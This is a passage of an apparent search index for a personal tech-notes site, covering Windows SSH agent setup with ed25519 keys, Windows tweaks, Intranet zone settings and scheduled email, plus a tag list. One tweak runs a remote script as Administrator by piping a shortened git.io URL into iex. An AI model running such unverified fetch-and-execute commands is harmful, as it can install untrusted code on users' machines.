      ", "tags": ["utilities", "windows", "servers"]}, {"location": "windows/windows-ssh-agent-with-keys/", "title": "Windows SSH Client with ed25519 Keys for Secure Connections", "text": "

      In the modern digital age, ensuring the security of your connections is critical. This guide will walk you through the steps to configure the SSH client and SSH agent on Windows using ed25519 keys, allowing for secure connections to services like Git and remote servers.

      ", "tags": ["SSH", "Windows", "ed25519", "OpenSSH", "Git", "Security"]}, {"location": "windows/windows-ssh-agent-with-keys/#introduction-to-ssh-and-ed25519-keys", "title": "Introduction to SSH and ed25519 Keys", "text": "

      SSH, or Secure Shell, is a cryptographic network protocol for secure communication over an unsecured network. It is particularly used for secure logins, file transfers, and command-line operations.

      ed25519 is a public-key signature system that is renowned for high security with relatively short key lengths. This makes it faster and more efficient compared to older algorithms such as RSA.

      ", "tags": ["SSH", "Windows", "ed25519", "OpenSSH", "Git", "Security"]}, {"location": "windows/windows-ssh-agent-with-keys/#openssh-client-installation", "title": "OpenSSH Client Installation", "text": "

      To utilize SSH, you need to ensure that the OpenSSH client is installed on your Windows system.

      Note

      The above below should be performed in PowerShell with Administrator privileges.

      1. Check if OpenSSH Client is available by running the following cmdlet:
      Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'\n

      If OpenSSH Client is not installed, the output will be:

      Name: OpenSSH.Client~~~~0.0.1.0\nState: NotPresent\n

      If it's not present, proceed to the next step to install it.

      1. Install the OpenSSH Client by running the following command:
      # Install the OpenSSH Client\nAdd-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0\n

      The command should return:

      Path:\nOnline: True\nRestartNeeded: False\n
      ", "tags": ["SSH", "Windows", "ed25519", "OpenSSH", "Git", "Security"]}, {"location": "windows/windows-ssh-agent-with-keys/#setting-up-ssh-agent-in-windows", "title": "Setting Up SSH Agent in Windows", "text": "

      The SSH Agent is a background service that stores your keys. When connecting to a remote host using SSH, the agent can automatically provide the key.

      Note

      The above below should be performed in PowerShell with Administrator privileges.

      1. Set SSH Agent to start automatically at boot:
      Set-Service -Name ssh-agent -StartupType 'Automatic'\n
      1. Start the SSH Agent service:
      Start-Service -Name ssh-agent\n
      1. Test the SSH Agent Is Running:
      Get-Service -Name ssh-agent\n

      The output should be:

      Status   Name               DisplayName\n------   ----               -----------\nRunning  ssh-agent          OpenSSH Authentication Agent\n
      ", "tags": ["SSH", "Windows", "ed25519", "OpenSSH", "Git", "Security"]}, {"location": "windows/windows-ssh-agent-with-keys/#generating-and-adding-ed25519-ssh-keys", "title": "Generating and Adding ed25519 SSH Keys", "text": "

      Note

      The above below should be performed in PowerShell with regular user privileges.

      1. Generate ed25519 SSH keys:
      ssh-keygen -t ed25519 -C \"your_email@example.com\"\n

      This command generates an ed25519 key pair. The default location for the keys is C:\\Users\\<YourUsername>\\.ssh. The private key is named id_ed25519 and the public key is named id_ed25519.pub.

      1. Adding the ed25519 SSH Key to the SSH Agent:
      ssh-add $env:USERPROFILE\\.ssh\\id_ed25519\n

      If your keys are stored in a different location or have a different name, you can specify the full path to the key file as an argument to ssh-add. For example:

       ssh-add C:\\path\\to\\your\\private-key-file\n
      ", "tags": ["SSH", "Windows", "ed25519", "OpenSSH", "Git", "Security"]}, {"location": "windows/windows-ssh-agent-with-keys/#importing-existing-ed25519-ssh-keys-optional", "title": "Importing Existing ed25519 SSH Keys (Optional)", "text": "

      If you already have an existing pair of ed25519 SSH keys that you would like to use, you can import them into your SSH Agent.

      Note

      The above below should be performed in PowerShell with regular user privileges.

      1. Copy your existing private key to the default SSH folder. The default folder for SSH keys is typically C:\\Users\\<YourUsername>\\.ssh. Make sure the private key file you are copying is named id_ed25519.

      2. Add the existing ed25519 SSH Key to the SSH Agent:

      ssh-add $env:USERPROFILE\\.ssh\\id_ed25519\n

      Note: If your private key file is located in a different path or has a different name, you can specify the full path to the key file as an argument to ssh-add. For example:

      ssh-add C:\\path\\to\\your\\private-key-file\n
      1. Copy your existing public key to the servers or services you want to connect to. This typically involves appending the contents of your public key file to the ~/.ssh/authorized_keys file on the server.
      ", "tags": ["SSH", "Windows", "ed25519", "OpenSSH", "Git", "Security"]}, {"location": "windows/windows-ssh-agent-with-keys/#step-5-using-ssh-with-ed25519-keys-for-secure-connections", "title": "Step 5: Using SSH with ed25519 Keys for Secure Connections", "text": "

      Now that you have your ed25519 SSH keys generated or imported, and added to the SSH Agent, you can use SSH to connect to remote servers or services like Git securely.

      For example, to connect to a remote server:

      ssh username@remote_host\n

      Using SSH keys will also allow you to interact with Git repositories securely, which is especially helpful when dealing with private repositories or pushing code changes.

      ", "tags": ["SSH", "Windows", "ed25519", "OpenSSH", "Git", "Security"]}, {"location": "windows/windows-ssh-agent-with-keys/#wrapping-up", "title": "Wrapping Up", "text": "

      By following this guide, you have configured the SSH client and SSH agent on your Windows system using ed25519 keys. This configuration ensures secure communication with services like Git and remote servers, safeguarding the integrity and security of your data.

      ", "tags": ["SSH", "Windows", "ed25519", "OpenSSH", "Git", "Security"]}, {"location": "windows/windows-tweaks/", "title": "Windwos 10/11 Tweeks", "text": "

      Some tips and tricks and Tweeks for Windows 10/11 that may be helpful or even essential for you

      ", "tags": ["Windwos", "Tweeks"]}, {"location": "windows/windows-tweaks/#deblot-windwos-1011-powershell-script", "title": "Deblot Windwos 10/11 Powershell Script", "text": "

      Source: Windows10Debloater Github Page

      Run as Administrator:

      iwr -useb https://git.io/debloat|iex\n

      ", "tags": ["Windwos", "Tweeks"]}, {"location": "windows/windows-tweaks/#enable-the-legacy-context-menu-in-windows-11", "title": "Enable the Legacy Context Menu in Windows 11", "text": "

      To enable the context menu that appeared in Windows 10 and earlier, you can use the following PowerShell snippet.

      New-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\\InprocServer32\" -Value \"\" -Force\n

      You may need to log out and log back in or restart\u00a0explorer.exe.

      Get-Process explorer | Stop-Process\n

      The context menu will now look like this:

      ", "tags": ["Windwos", "Tweeks"]}, {"location": "windows/windows-tweaks/#allow-icmp-ping-in-windows-firewall", "title": "Allow ICMP (Ping) in Windows Firewall", "text": "

      The following commands will allow ICMP (Ping) in Windows Firewall. Use Powershell as Administrator to run the following commands.

      For IPv4:

      netsh advfirewall firewall add rule name=\"ICMP Allow incoming V4 echo request\" protocol=\"icmpv4:8,any\" dir=in action=allow\n

      For IPv6:

      netsh advfirewall firewall add rule name=\"ICMP Allow incoming V6 echo request\" protocol=\"icmpv6:8,any\" dir=in action=allow\n
      ", "tags": ["Windwos", "Tweeks"]}, {"location": "windows/windows-tweaks/#activate-administrator-user", "title": "Activate Administrator User", "text": "

      Hit the Windows Key + R and type

      lusrmgr.msc\n

      Edit Administrator, remove the - [x] Account is disable. ok

      Right Click on Administrator and click Set Password

      ", "tags": ["Windwos", "Tweeks"]}, {"location": "windows/windows-tweaks/#lunch-network-connections", "title": "Lunch \"Network Connections\"", "text": "

      Hit the Windows Key + R and type

      ncpa.cpl\n
      ", "tags": ["Windwos", "Tweeks"]}, {"location": "windows/windows-tweaks/#add-program-to-startup-windows-7810-servers", "title": "Add Program to Startup - Windows 7,8,10 & Servers", "text": "

      Hit WIN+R or from start menu search run and press enter. At run dialog enter shell:common startup:

      • Create shortcut for the program you want to auto startup when Windows boots.
      • Move the shortcut to the Startup folder that opened before.
      ", "tags": ["Windwos", "Tweeks"]}, {"location": "windows/windows-tweaks/#reboot-or-shutdown-windows-from-command-line-cmd", "title": "Reboot or Shutdown Windows From Command Line (CMD)", "text": "

      Reboot windows computer This command will set a time out of 10 seconds to close the applications. After 10 seconds, windows reboot will start.

      shutdown /r /t 10\n

      Force reboot

      shutdown /r /f /t 0\n

      Force Shutdown

      shutdown /s /f /t 0\n
      ", "tags": ["Windwos", "Tweeks"]}, {"location": "windows/guides/declare-locations/", "title": "Declare Locations as \"Inside Your Local Network\"", "text": "

      Warning

      The Intranet Zone is the most trusted and least protected zone. DO NOT put any subnets or IP addresses in this zone unless they are TOTALLY under YOUR control. That includes ANY public server, web site, subnet, or IP address.

      • Select 'Control Panel'/'Internet Properties'/'Security' tab. (Alternatively, open Internet Explorer and select 'Tools'/'Internet Options'/'Security' tab.)

      • Highlight 'Local Intranet' and click 'Sites'.

      • Set the following: Uncheck 'Automatically detect intranet network'.Check 'Include all local (intranet) sites not listed in other zones'.Uncheck 'Include all sites that bypass the proxy server'.Check 'Include all network paths (UNCs)'.\u200b

      • Click 'Advanced'

      • Uncheck 'Require server verification (https:) for all sites in this zone'.

      • In the field labeled 'Add this web site to the zone:', add your local, private subnet using an asterisk for a network mask and click 'Add'. E.g. If your home (local) network is 192.168.25.0 with a mask of 255.255.255.0, enter '192.168.25.*' (without the quotes).

      Note

      Entries can be:\u200b

      * Individual IP addresses (e.g. '192.168.5.25', etc.),\n* Class C subnets (e.g. '192.168.27.*'),\n* Class B subnets (e.g. '172.16.*.*'), or\n* Class A subnets (e.g. '10.*.*.*')\u200b\n

      You can add as many addresses as you need to the list It can be handy add the address of a VPN subnet to the list if it is also private and you TOTALLY trust it.\u200b

      • Close out with 'Close'/'OK'/'OK' and close the Control Panel (or Internet Explorer).
      ", "tags": ["utilities", "network", "windows"]}, {"location": "windows/guides/email-from-task-scheduler/", "title": "Send Emails From The Windows Task Scheduler", "text": "

      First, download SendEmail, a free (and open source) tool for sending emails from the command line. Extract the downloaded archive into a folder on your computer.

      Next, launch the Windows Task Scheduler and create a new task \u2013 consult our guide to creating scheduled tasks for more information. You can create a task that automatically sends an email at a specific time or a task that sends an email in response to a specific event.

      When you reach the Action window, select Start a program instead of Send an e-mail.

      In the Program/script box, use the Browse button and navigate to the SendEmail.exe file on your computer.

      Finally, you\u2019ll have to add the arguments required to authenticate with your SMTP server and construct your email. Here\u2019s a list of the options you can use with SendEmail:

      ", "tags": ["utilities", "windows"]}, {"location": "windows/guides/email-from-task-scheduler/#server-options", "title": "Server Options", "text": "
      • -f EMAIL \u2013 The email address you\u2019re sending from.
      • -s SERVER:PORT \u2013 The SMTP server and port it requires.
      • -xu USERNAME \u2013 The username you need to authenticate with the SMTP server.
      • -xp PASSWORD \u2013 The password you need to authenticate with the SMTP server.
      • -o tls=yes \u2013 Enables TLS encryption. May be necessary for some SMTP servers.

      If you\u2019re using Gmail\u2019s SMTP servers, these are the server options you\u2019ll need:

      • -s smtp.gmail.com:587 -xu you@gmail.com -xp password -o tls=yes

      Of course, you\u2019ll have to enter your own email address and password here.

      ", "tags": ["utilities", "windows"]}, {"location": "windows/guides/email-from-task-scheduler/#destination-options", "title": "Destination Options", "text": "
      • -t EMAIL \u2013 The destination email address. You can send an email to multiple addresses by including a space between each address after the -t option.
      • -cc EMAIL \u2013 Any addresses you\u2019d like to CC on the email. You can specify multiple addresses by placing a space between each email address, just as with the -t command above.
      • -bcc EMAIL \u2013 The BCC version of the CC option above.
      ", "tags": ["utilities", "windows"]}, {"location": "windows/guides/email-from-task-scheduler/#email-options", "title": "Email Options", "text": "
      • -u SUBJECT \u2013 The subject of your email
      • -m BODY \u2013 The message body text of your email.
      • -a ATTACHMENT \u2013 The path of a file you\u2019d like to attach. This is optional.

      For example, let\u2019s say your email address is example@gmail.com and you\u2019d like to send an email to person@example.com. You\u2019d use the following options:

      -f example@gmail.com -t person@example.com -u Subject -m This is the body text! -s smtp.gmail.com:587 -xu example@gmail.com -xp password -o tls=yes\n

      Once you\u2019ve put together your options, copy and paste them into the Add arguments box.

      Save your task and you\u2019re done. Your task will automatically send email on the schedule (or in response to the event) you specified.

      ", "tags": ["utilities", "windows"]}, {"location": "tags/", "title": "Tags and Categories", "text": ""}, {"location": "tags/#3g-modem", "title": "3g-modem", "text": "
      • 3g Modem Host Configuration
      "}, {"location": "tags/#cookies", "title": "Cookies", "text": "
      • Cookies Policy
      "}, {"location": "tags/#git", "title": "Git", "text": "
      • Windows SSH with ed25519 Keys
      "}, {"location": "tags/#homelab", "title": "HomeLab", "text": "
      • Synology NAS
      "}, {"location": "tags/#iid", "title": "IID", "text": "
      • IID Generator & Validator
      "}, {"location": "tags/#nas", "title": "NAS", "text": "
      • Synology NAS
      • Free 80,443 Ports
      "}, {"location": "tags/#openssh", "title": "OpenSSH", "text": "
      • Windows SSH with ed25519 Keys
      "}, {"location": "tags/#proxmox", "title": "Proxmox", "text": "
      • Windows VM Configuration
      "}, {"location": "tags/#ssh", "title": "SSH", "text": "
      • Windows SSH with ed25519 Keys
      "}, {"location": "tags/#security", "title": "Security", "text": "
      • Windows SSH with ed25519 Keys
      "}, {"location": "tags/#synology", "title": "Synology", "text": "
      • Synology NAS
      "}, {"location": "tags/#tweeks", "title": "Tweeks", "text": "
      • Windwos 10/11 Tweeks
      "}, {"location": "tags/#ubuntu", "title": "Ubuntu", "text": "
      • Free Port 53 on Ubuntu
      "}, {"location": "tags/#virtio", "title": "VirtIO", "text": "
      • Windows VM Configuration
      "}, {"location": "tags/#windows", "title": "Windows", "text": "
      • Windows SSH with ed25519 Keys
      "}, {"location": "tags/#windows-virtual-machines", "title": "Windows Virtual Machines", "text": "
      • Windows VM Configuration
      "}, {"location": "tags/#windwos", "title": "Windwos", "text": "
      • Windwos 10/11 Tweeks
      "}, {"location": "tags/#adb", "title": "adb", "text": "
      • ADB Cheat Sheet
      "}, {"location": "tags/#admonition", "title": "admonition", "text": "
      • Admonitions
      "}, {"location": "tags/#affiliate", "title": "affiliate", "text": "
      • Affiliate Disclosure
      "}, {"location": "tags/#android", "title": "android", "text": "
      • ADB Cheat Sheet
      • Apktool
      • PT Application
      • JADX Decompiler
      • MobSF
      • SSL Pinning Bypass
      "}, {"location": "tags/#apktool", "title": "apktool", "text": "
      • Apktool
      "}, {"location": "tags/#application", "title": "application", "text": "
      • PT Application
      "}, {"location": "tags/#autofs", "title": "autofs", "text": "
      • SMB Mount With autofs
      "}, {"location": "tags/#automation", "title": "automation", "text": "
      • DDNS Cloudflare Bash
      • DDNS Cloudflare PowerShell
      • Syncthing
      • Motion Sensor Display Control
      "}, {"location": "tags/#bash", "title": "bash", "text": "
      • DDNS Cloudflare Bash
      • BrewUp
      "}, {"location": "tags/#cheat-sheet", "title": "cheat-sheet", "text": "
      • ADB Cheat Sheet
      • Npm Command-line Utility
      • PM2 - Node.js Process Manager
      • Pip Package Manager
      • Supervisor Process Manager
      • Virtual Environment
      • Ruby Gem Package Manager
      • Common Docker Commands
      • Containers Cheat Sheet
      • Images Cheat Sheet
      • Docker Installation
      • Networks & Links Cheat Sheet
      • Security & Best Practices
      • Git Cli Cheat Sheet
      • Submodules Cheat Sheet
      • GitHub Cli
      "}, {"location": "tags/#cheatsheet", "title": "cheatsheet", "text": "
      • Gobuster CheatSheet
      • Nmap CheatSheet
      • XSS CheatSheet
      "}, {"location": "tags/#chrome", "title": "chrome", "text": "
      • Chrome Extensions
      "}, {"location": "tags/#cli", "title": "cli", "text": "
      • Cli Commands Collation
      "}, {"location": "tags/#clickjacking", "title": "clickjacking", "text": "
      • Clickjacking Test Page
      "}, {"location": "tags/#cloudflare", "title": "cloudflare", "text": "
      • DDNS Cloudflare Bash
      • DDNS Cloudflare PowerShell
      • Pi-hole Cloudflare DNS Sync
      • Let's Encrypt with Cloudflare
      • UDM Cloudflare DDNS
      "}, {"location": "tags/#code-blocks", "title": "code-blocks", "text": "
      • Code Blocks
      "}, {"location": "tags/#collation", "title": "collation", "text": "
      • Cli Commands Collation
      "}, {"location": "tags/#commands", "title": "commands", "text": "
      • Cli Commands Collation
      "}, {"location": "tags/#container", "title": "container", "text": "
      • Watchtower
      "}, {"location": "tags/#content-tabs", "title": "content-tabs", "text": "
      • Content Tabs
      "}, {"location": "tags/#ddns", "title": "ddns", "text": "
      • DDNS Cloudflare Bash
      • DDNS Cloudflare PowerShell
      "}, {"location": "tags/#debian", "title": "debian", "text": "
      • Disable IPv6 via Grub
      "}, {"location": "tags/#decompiler", "title": "decompiler", "text": "
      • JADX Decompiler
      "}, {"location": "tags/#diagram", "title": "diagram", "text": "
      • Diagrams
      "}, {"location": "tags/#dns", "title": "dns", "text": "
      • Pi-hole Cloudflare DNS Sync
      • Pi-hole with DOH on Docker
      • Free Port 53 on Ubuntu
      "}, {"location": "tags/#dns-over-https", "title": "dns-over-https", "text": "
      • Pi-hole with DOH on Docker
      "}, {"location": "tags/#docker", "title": "docker", "text": "
      • Pi-hole Cloudflare DNS Sync
      • Pi-hole with DOH on Docker
      • Common Docker Commands
      • Containers Cheat Sheet
      • Images Cheat Sheet
      • Docker Installation
      • Networks & Links Cheat Sheet
      • Security & Best Practices
      • Watchtower
      • Docker on Raspberry Pi
      "}, {"location": "tags/#docker-compose", "title": "docker-compose", "text": "
      • Docker on Raspberry Pi
      "}, {"location": "tags/#doh", "title": "doh", "text": "
      • Pi-hole with DOH on Docker
      "}, {"location": "tags/#dsm", "title": "dsm", "text": "
      • SSH With RSA Keys
      "}, {"location": "tags/#ed25519", "title": "ed25519", "text": "
      • Windows SSH with ed25519 Keys
      "}, {"location": "tags/#edgerouter", "title": "edgerouter", "text": "
      • EdgeRouter
      "}, {"location": "tags/#emojis", "title": "emojis", "text": "
      • Icons & Emojis
      "}, {"location": "tags/#endorsements", "title": "endorsements", "text": "
      • Website Endorsements
      "}, {"location": "tags/#extensions", "title": "extensions", "text": "
      • Chrome Extensions
      • Firefox Extensions
      "}, {"location": "tags/#external-markdown", "title": "external-markdown", "text": "
      • Embed External Markdown
      "}, {"location": "tags/#files-handling", "title": "files-handling", "text": "
      • Files Handling
      "}, {"location": "tags/#firefox", "title": "firefox", "text": "
      • Firefox Extensions
      "}, {"location": "tags/#frida", "title": "frida", "text": "
      • SSL Pinning Bypass
      "}, {"location": "tags/#gem", "title": "gem", "text": "
      • Ruby Gem Package Manager
      "}, {"location": "tags/#git_1", "title": "git", "text": "
      • Git Cli Cheat Sheet
      • GitHub Cli
      "}, {"location": "tags/#github", "title": "github", "text": "
      • Removing Sensitive Data
      • Git Cli Cheat Sheet
      • Submodules Cheat Sheet
      • GitHub Cli
      • BrewUp
      "}, {"location": "tags/#gpu", "title": "gpu", "text": "
      • GPU Passthrough to VM
      "}, {"location": "tags/#headings", "title": "headings", "text": "
      • Basic Formatting
      "}, {"location": "tags/#history", "title": "history", "text": "
      • Removing Sensitive Data
      "}, {"location": "tags/#homebrew", "title": "homebrew", "text": "
      • BrewUp
      • Brew Snippets
      "}, {"location": "tags/#horizontal-line", "title": "horizontal-line", "text": "
      • Basic Formatting
      "}, {"location": "tags/#htpasswd", "title": "htpasswd", "text": "
      • htpasswd Password Generator
      "}, {"location": "tags/#iterm2", "title": "iTerm2", "text": "
      • TouchID for sudo
      "}, {"location": "tags/#icons", "title": "icons", "text": "
      • Icons & Emojis
      "}, {"location": "tags/#igpu", "title": "igpu", "text": "
      • iGPU Passthrough to VM
      • iGPU Split Passthrough
      "}, {"location": "tags/#images", "title": "images", "text": "
      • Images
      "}, {"location": "tags/#information", "title": "information", "text": "
      • Affiliate Disclosure
      • Cookies Policy
      • Website Endorsements
      • MIT License
      • Privacy Policy
      "}, {"location": "tags/#ipv6", "title": "ipv6", "text": "
      • Disable IPv6 on Proxmox
      • Disable IPv6 via Grub
      "}, {"location": "tags/#java", "title": "java", "text": "
      • JADX Decompiler
      "}, {"location": "tags/#kali", "title": "kali", "text": "
      • Kali Linux
      "}, {"location": "tags/#kali-linux", "title": "kali-linux", "text": "
      • Kali Linux
      "}, {"location": "tags/#letsencrypt", "title": "letsencrypt", "text": "
      • Let's Encrypt with Cloudflare
      "}, {"location": "tags/#license", "title": "license", "text": "
      • MIT License
      "}, {"location": "tags/#links", "title": "links", "text": "
      • Links
      "}, {"location": "tags/#linux", "title": "linux", "text": "
      • Syncthing
      • Better Terminal Experience
      • Files Handling
      • General Snippets
      • Locales & Timezone
      • LVM Partitions
      • Memory & Swap
      • SSH Hardening with SSH Keys
      • Identify Network Interfaces
      "}, {"location": "tags/#lists", "title": "lists", "text": "
      • Tables, Lists and Quotes
      "}, {"location": "tags/#locales", "title": "locales", "text": "
      • Locales & Timezone
      "}, {"location": "tags/#lvm", "title": "lvm", "text": "
      • LVM Partitions
      "}, {"location": "tags/#macos", "title": "macOS", "text": "
      • Applications Tweaks
      • Enable Root User
      • TouchID for sudo
      • UI Tweaks
      • Brew Snippets
      "}, {"location": "tags/#maco", "title": "maco", "text": "
      • Pyenv-virtualenv Multi Version
      "}, {"location": "tags/#macos_1", "title": "macos", "text": "
      • Syncthing
      • Better Terminal Experience
      • SSH Passphrase to Keychain
      • Terminal Snippets
      • BrewUp
      "}, {"location": "tags/#magic-mirror", "title": "magic-mirror", "text": "
      • Magic Mirror
      "}, {"location": "tags/#magicmirror", "title": "magicmirror", "text": "
      • Magic Mirror 2.0
      "}, {"location": "tags/#markdown", "title": "markdown", "text": "
      • Disable IPV6
      • oh-my-zsh Install
      • Snippets
      • Awesome Pages Plugin
      "}, {"location": "tags/#markdown-cheatsheet", "title": "markdown-cheatsheet", "text": "
      • About Markdown
      • Admonitions
      • Basic Formatting
      • Code Blocks
      • Content Tabs
      • Diagrams
      • Embed External Markdown
      • Icons & Emojis
      • Images
      • Links
      • Tables, Lists and Quotes
      "}, {"location": "tags/#mermaid", "title": "mermaid", "text": "
      • Diagrams
      "}, {"location": "tags/#metasploit", "title": "metasploit", "text": "
      • Metasploit Framework
      "}, {"location": "tags/#mkdocs", "title": "mkdocs", "text": "
      • About Markdown
      • Admonitions
      • Basic Formatting
      • Code Blocks
      • Content Tabs
      • Diagrams
      • Embed External Markdown
      • Icons & Emojis
      • Images
      • Links
      • Tables, Lists and Quotes
      "}, {"location": "tags/#motion-sensor", "title": "motion-sensor", "text": "
      • Motion Sensor Display Control
      "}, {"location": "tags/#mount", "title": "mount", "text": "
      • SMB Mount With autofs
      "}, {"location": "tags/#network", "title": "network", "text": "
      • Proxmox Networking
      • Identify Network Interfaces
      • Declare Locations as \"Inside Your Local Network\"
      "}, {"location": "tags/#node", "title": "node", "text": "
      • Npm Command-line Utility
      • PM2 - Node.js Process Manager
      "}, {"location": "tags/#npm", "title": "npm", "text": "
      • Npm Command-line Utility
      • PM2 - Node.js Process Manager
      "}, {"location": "tags/#oh-my-zsh", "title": "oh-my-zsh", "text": "
      • Better Terminal Experience
      • oh-my-zsh on Synology NAS
      "}, {"location": "tags/#package-manager", "title": "package-manager", "text": "
      • Pip Package Manager
      • Ruby Gem Package Manager
      "}, {"location": "tags/#passthrough", "title": "passthrough", "text": "
      • GPU Passthrough to VM
      • iGPU Passthrough to VM
      • iGPU Split Passthrough
      • vGPU Split Passthrough
      "}, {"location": "tags/#penetration-testing", "title": "penetration-testing", "text": "
      • Apktool
      • PT Application
      • MobSF
      • Cli Commands Collation
      • Gobuster CheatSheet
      • Nmap CheatSheet
      • XSS CheatSheet
      • Bettercap 1.6.2 Installation
      • Kali Linux
      "}, {"location": "tags/#pi-hole", "title": "pi-hole", "text": "
      • Pi-hole Cloudflare DNS Sync
      • Pi-hole with DOH on Docker
      "}, {"location": "tags/#pip", "title": "pip", "text": "
      • Pip Package Manager
      "}, {"location": "tags/#pm2", "title": "pm2", "text": "
      • PM2 - Node.js Process Manager
      "}, {"location": "tags/#portfolio", "title": "portfolio", "text": "
      • Stas Yakobov's Portfolio
      "}, {"location": "tags/#ports", "title": "ports", "text": "
      • Free 80,443 Ports
      "}, {"location": "tags/#powershell", "title": "powershell", "text": "
      • DDNS Cloudflare PowerShell
      • Windows SSH Server
      "}, {"location": "tags/#privacy-policy", "title": "privacy policy", "text": "
      • Privacy Policy
      "}, {"location": "tags/#process-manager", "title": "process-manager", "text": "
      • PM2 - Node.js Process Manager
      "}, {"location": "tags/#processes-manager", "title": "processes-manager", "text": "
      • Supervisor Process Manager
      "}, {"location": "tags/#proxmox_1", "title": "proxmox", "text": "
      • Cloud Image Template
      • Let's Encrypt with Cloudflare
      • PVE Kernel Cleaner
      • VM Disk Expander
      • GPU Passthrough to VM
      • iGPU Passthrough to VM
      • iGPU Split Passthrough
      • vGPU Split Passthrough
      • Disable IPv6 on Proxmox
      • Proxmox Networking
      "}, {"location": "tags/#pt", "title": "pt", "text": "
      • Cli Commands Collation
      • Links and Tools
      • Metasploit Framework
      • Wifite
      • About Proxmark3
      • Proxmark3 CheatSheet
      • Mifare Classic 1K ISO14443A
      • Clickjacking Test Page
      • IID Generator & Validator
      "}, {"location": "tags/#python", "title": "python", "text": "
      • Pip Package Manager
      • Supervisor Process Manager
      • Virtual Environment
      • Pyenv-virtualenv Multi Version
      "}, {"location": "tags/#quotes", "title": "quotes", "text": "
      • Tables, Lists and Quotes
      "}, {"location": "tags/#raspberry-pi", "title": "raspberry-pi", "text": "
      • Docker on Raspberry Pi
      • External Power Button
      • Motion Sensor Display Control
      • Snippets
      • 3g Modem Host Configuration
      • Magic Mirror 2.0
      • Magic Mirror
      "}, {"location": "tags/#resume", "title": "resume", "text": "
      • Stas Yakobov's Portfolio
      "}, {"location": "tags/#reverse-engineering", "title": "reverse-engineering", "text": "
      • Apktool
      "}, {"location": "tags/#rfid", "title": "rfid", "text": "
      • About Proxmark3
      • Proxmark3 CheatSheet
      • Mifare Classic 1K ISO14443A
      "}, {"location": "tags/#rsa", "title": "rsa", "text": "
      • SSH Hardening with SSH Keys
      "}, {"location": "tags/#rsa-keys", "title": "rsa-keys", "text": "
      • SSH With RSA Keys
      • Windows SSH Server
      "}, {"location": "tags/#ruby", "title": "ruby", "text": "
      • Ruby Gem Package Manager
      "}, {"location": "tags/#security_1", "title": "security", "text": "
      • Removing Sensitive Data
      "}, {"location": "tags/#servers", "title": "servers", "text": "
      • Windows Servers
      "}, {"location": "tags/#share", "title": "share", "text": "
      • SMB Mount With autofs
      "}, {"location": "tags/#smb", "title": "smb", "text": "
      • SMB Mount With autofs
      "}, {"location": "tags/#snippets", "title": "snippets", "text": "
      • General Snippets
      "}, {"location": "tags/#ssh_1", "title": "ssh", "text": "
      • Enable SSH Root Login
      • SSH With RSA Keys
      • SSH Hardening with SSH Keys
      "}, {"location": "tags/#ssh-server", "title": "ssh-server", "text": "
      • Windows SSH Server
      "}, {"location": "tags/#ssl-pinning", "title": "ssl-pinning", "text": "
      • SSL Pinning Bypass
      "}, {"location": "tags/#submodules", "title": "submodules", "text": "
      • Submodules Cheat Sheet
      "}, {"location": "tags/#supervisor", "title": "supervisor", "text": "
      • Supervisor Process Manager
      "}, {"location": "tags/#syncthing", "title": "syncthing", "text": "
      • Syncthing
      "}, {"location": "tags/#synology_1", "title": "synology", "text": "
      • Syncthing
      • oh-my-zsh on Synology NAS
      • Install VM Tools on Virtual Machine
      • Auto DSM Config Backup
      • Free 80,443 Ports
      • Enable SSH Root Login
      • SSH With RSA Keys
      "}, {"location": "tags/#tables", "title": "tables", "text": "
      • Tables, Lists and Quotes
      "}, {"location": "tags/#template", "title": "template", "text": "
      • Disable IPV6
      • oh-my-zsh Install
      • Snippets
      • Awesome Pages Plugin
      "}, {"location": "tags/#terminal", "title": "terminal", "text": "
      • Better Terminal Experience
      • TouchID for sudo
      "}, {"location": "tags/#text-highlighting", "title": "text-highlighting", "text": "
      • Basic Formatting
      "}, {"location": "tags/#timezone", "title": "timezone", "text": "
      • Locales & Timezone
      "}, {"location": "tags/#tools", "title": "tools", "text": "
      • Gobuster CheatSheet
      • Nmap CheatSheet
      • XSS CheatSheet
      • Bettercap 1.6.2 Installation
      • Links and Tools
      • Metasploit Framework
      • Wifite
      • About Proxmark3
      • Proxmark3 CheatSheet
      • Mifare Classic 1K ISO14443A
      • Clickjacking Test Page
      • IID Generator & Validator
      "}, {"location": "tags/#touchid", "title": "touchID", "text": "
      • TouchID for sudo
      "}, {"location": "tags/#ubiquiti", "title": "ubiquiti", "text": "
      • EdgeRouter
      • CLI Commands
      • Failover Telegram Notifications
      • Persistent Boot Script
      • Persistent SSH Keys
      • Better Fan Speeds
      • UDM Cloudflare DDNS
      • Wireguard VPN
      "}, {"location": "tags/#ubuntu_1", "title": "ubuntu", "text": "
      • Disable IPv6 via Grub
      • Remove Snap Store
      • Unattended Upgrades
      "}, {"location": "tags/#udm", "title": "udm", "text": "
      • CLI Commands
      • Failover Telegram Notifications
      • Persistent Boot Script
      • Persistent SSH Keys
      • Better Fan Speeds
      • UDM Cloudflare DDNS
      • Wireguard VPN
      "}, {"location": "tags/#unifi", "title": "unifi", "text": "
      • CLI Commands
      • Failover Telegram Notifications
      • Persistent Boot Script
      • Persistent SSH Keys
      • Better Fan Speeds
      • UDM Cloudflare DDNS
      • Wireguard VPN
      "}, {"location": "tags/#utilities", "title": "utilities", "text": "
      • Useful Links & Tools
      • Wifi QR Image Generator
      • Useful Software
      • Windows Servers
      • Declare Locations as \"Inside Your Local Network\"
      • Send Emails From The Windows Task Scheduler
      "}, {"location": "tags/#venv", "title": "venv", "text": "
      • Virtual Environment
      "}, {"location": "tags/#vgpu", "title": "vgpu", "text": "
      • vGPU Split Passthrough
      "}, {"location": "tags/#virtualization", "title": "virtualization", "text": "
      • Cloud Image Template
      • VM Disk Expander
      "}, {"location": "tags/#vmware", "title": "vmware", "text": "
      • VMware Fusion
      "}, {"location": "tags/#vmware-fusion", "title": "vmware-fusion", "text": "
      • VMware Fusion
      "}, {"location": "tags/#watchtower", "title": "watchtower", "text": "
      • Watchtower
      "}, {"location": "tags/#wifi", "title": "wifi", "text": "
      • Wifite
      "}, {"location": "tags/#windows_1", "title": "windows", "text": "
      • Syncthing
      • Windows SSH Server
      • Useful Software
      • Windows Servers
      • Declare Locations as \"Inside Your Local Network\"
      • Send Emails From The Windows Task Scheduler
      "}, {"location": "tags/#wireguard", "title": "wireguard", "text": "
      • Wireguard VPN
      "}, {"location": "tags/#zsh", "title": "zsh", "text": "
      • Better Terminal Experience
